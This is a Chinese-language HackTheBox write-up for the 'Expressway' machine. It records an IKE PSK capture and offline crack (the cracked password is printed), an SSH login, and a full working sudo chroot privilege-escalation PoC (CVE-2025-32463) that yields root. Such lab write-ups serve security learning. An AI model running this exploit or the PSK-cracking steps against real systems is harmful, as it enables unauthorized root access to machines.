<h1>Season9 - Expressway</h1>
<blockquote>
<a href="https://app.hackthebox.com/machines/736">https://app.hackthebox.com/machines/736</a>
</blockquote>
<h2>Recon</h2>
<h3>PortScan</h3>
不对劲
<pre><code class="hljs language-bash">➜ Expressway nmap -sT -min-rate 5000 -p- 10.10.11.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 17:00 CST
Nmap scan report for 10.10.11.87
Host is up (0.054s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 12.77 seconds
</code></pre>
再把 UDP 给扫描了
<pre><code class="hljs language-bash">➜ Expressway nmap -sU -min-rate 5000 -p- 10.10.11.87 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 17:01 CST
Warning: 10.10.11.87 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.87
Host is up (0.056s latency).
Not shown: 65388 open|filtered udp ports (no-response), 146 closed udp ports (port-unreach)
PORT STATE SERVICE
500/udp open isakmp

Nmap done: 1 IP address (1 host up) scanned in 145.03 seconds
</code></pre>
<h3>Ike-scan</h3>
通过 <code>Ike-scan</code> 探测 IKE 服务器，有种 IPsec 秘钥协商的既视感
<pre><code class="hljs language-bash">➜ Expressway ike-scan -A 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=c119d10bd1daae8a) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.082 seconds (12.17 hosts/sec). 1 returned handshake; 0 returned notify
</code></pre>
尝试握手，捕获这个哈希并进行离线破解
<pre><code class="hljs language-bash">➜ Expressway ike-scan -A --id="ike@expressway.htb" -Ppsk_hash.txt 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned HDR=(CKY-R=9e4e89d12cadbe8b) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.090 seconds (11.14 hosts/sec). 1 returned handshake; 0 returned notify
</code></pre>
通过 <code>psk-crack</code> 进行破解，这里使用 <code>hashcat</code> 也可以
<pre><code class="hljs language-bash">➜ Expressway cat psk_hash.txt 
b0d6afb205715a1ab908e8f6fdb0cffc9105205365ca1f414a92fa45a6cbfba25663f7e70974282002bcbecc72af74d83561bdc1703ac8777cc9491366aa4a0e7b73829cf892df0925e54eba010ccdff225dcb889fdc06161eb4d0f35800f6d30dfb486a25e47b558d54e8a8159da7641dbb2e70944922ef7bf47d4cf1256a53:1c4a7c7a3d58bb0992a926165a26ff40844990e82eb3ad1b5d6f2bf97ef75ae1e24afea9103735259df8bb62f4d3c6f6950250a3d5cd276d51dbe27a257a29b694cd04e2816c7e236b34e33ded8534a35000f97c77257ff8c13474da74a8146019e6b34d7c414acdbf30e2345db6b7bbfc3910e09264a4b71957ce6fd6ac75c3:9e4e89d12cadbe8b:156c27811e684dff:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:99581d830ef389f33356bab22c0a23452e5f632d:42f9eb4b50daa9324936fb5ab5d0d4b8197ed17744fd32b50296f319b9c24a58:b441ef0bd5db912fc63efe78ea012d58a5254686
</code></pre>
得到密码 <code>freakingrockstarontheroad</code>
<pre><code class="hljs language-bash">➜ Expressway psk-crack -d /usr/share/wordlists/rockyou.txt psk_hash.txt 
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash b441ef0bd5db912fc63efe78ea012d58a5254686
Ending psk-crack: 8045040 iterations in 11.991 seconds (670912.62 iterations/sec)
</code></pre>
得到秘钥后，尝试使用密码加上 <code>ike@expressway.htb</code> 尝试进行登录，没想到登陆成功了
<img src="/post-images/HackTheBoxSeason9%20-%20Expressway/image.png" alt="image.png">
读取 <code>user.txt</code>
<pre><code class="hljs language-bash">ike@expressway:~$ cat user.txt 
xxxxxxxxxxxxxxxxx
</code></pre>
<h2>权限提升</h2>
查看拥有 suid 权限的程序
<pre><code class="hljs language-bash">ike@expressway:/tmp$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/exim4
/usr/local/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
</code></pre>
发现有两个 <code>sudo</code> ，查看一下一版本
<pre><code class="hljs language-bash">ike@expressway:/tmp$ /usr/local/bin/sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
ike@expressway:/tmp$ /usr/bin/sudo --version
Sudo version 1.9.13p3
Sudoers policy plugin version 1.9.13p3
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.13p3
Sudoers audit plugin version 1.9.13p3
</code></pre>
在网上能找到一个CVE <code>CVE-2025-32462</code>：<a href="https://www.exploit-db.com/exploits/52354">https://www.exploit-db.com/exploits/52354</a>
<blockquote>
<a href="https://github.com/kh4sh3i/CVE-2025-32463">https://github.com/kh4sh3i/CVE-2025-32463</a>
</blockquote>
<pre><code class="hljs language-bash"># 1.sh
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c&#x3C;&#x3C;EOF
#include &#x3C;stdlib.h>
#include &#x3C;unistd.h>

__attribute__((constructor)) void woot(void) {
 setreuid(0,0);
 setregid(0,0);
 chdir("/");
 execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
</code></pre>
<img src="/post-images/HackTheBoxSeason9%20-%20Expressway/image1.png" alt="image.png">
<pre><code class="hljs language-bash">root@expressway:/root# cat root.txt 
xxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>总结</h2>
梭哈
迷茫

Season9 Expressway https://app.hackthebox.com/machines/736 Recon PortScan 不对劲 再把 UDP 给扫描了 Ike scan 通过 Ike scan 探测 IKE 服务器，有种 IPsec 秘钥协商的既视感 尝试握手，捕获这个哈...

HackTheBox - Machine - Expressway

群U靶机 - Meltdown2

HackTheBox - Machine - Signed